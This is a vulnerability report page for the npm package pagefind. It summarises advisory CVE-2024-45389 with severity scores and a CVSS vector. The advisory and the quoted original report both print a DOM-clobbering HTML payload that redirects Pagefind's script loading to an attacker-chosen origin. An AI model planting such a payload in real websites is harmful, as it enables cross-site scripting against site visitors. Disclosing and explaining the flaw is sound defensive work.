npm package report

Is pagefind safe?

1 known vulnerability, worst severity MODERATE.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      Tracked for PyPI packages. HuggingFace models declare Python dependencies, so npm packages are not covered.


      cvss
      6.4
      medium

      CVSS v3.1 base score out of 10

      epss
      0.42%
      medium

      chance of exploitation in 30 days, 35th percentile of all CVEs

      xyz score
      not scored

      CyberXYZ composite out of 10

      fig. 01 — GHSA-gprj-6m2f-j9hx, the advisory selected below

      // 1 advisories

      GHSA-gprj-6m2f-j9hx

      MODERATEGitHub ratingCVE-2024-45389

      Pagefind initializes its dynamic JavaScript and WebAssembly files relative to the location of the first script you load. This information is gathered by looking up the value of document.currentScript.src.

      It is possible to "clobber" this lookup with otherwise benign HTML on the page, for example:

      <img name="currentScript" src="blob:https://xxx.xxx.xxx/ui.js"></img>

      This will cause document.currentScript.src to resolve as an external domain, which will then be used by Pagefind to load dependencies.

      This exploit would only work in the case that an attacker could inject HTML to your live, hosted, website. In these cases, this would act as a way to escalate the privilege available to an attacker. This assumes they have the ability to add some elements to the page (for example, img tags with a name attribute), but not others, as adding a script to the page would itself be the XSS vector.

      Pagefind has tightened this resolution by ensuring the source is loaded from a valid script element. There are no reports of this being exploited in the wild via Pagefind.

      // original report

      If an attacker can inject benign html, such as: <img name="currentScript" src="blob:https://xxx.xxx.xxx/ui.js"></img>

      they can clobber document.currentScript.src leading to XSS in your library.

      Here is the same attack on webpack that was accepted: https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986

      // cvss v3.1 vector

      CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H

      Attack vector
      Network
      Attack complexity
      High
      Privileges required
      Low
      User interaction
      None
      Scope
      Unchanged
      Confidentiality
      Low
      Integrity
      Low
      Availability
      High

      Checked 2026-10-24 at 20:09 UTC. The most recent advisory here was published 2024-09-03. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.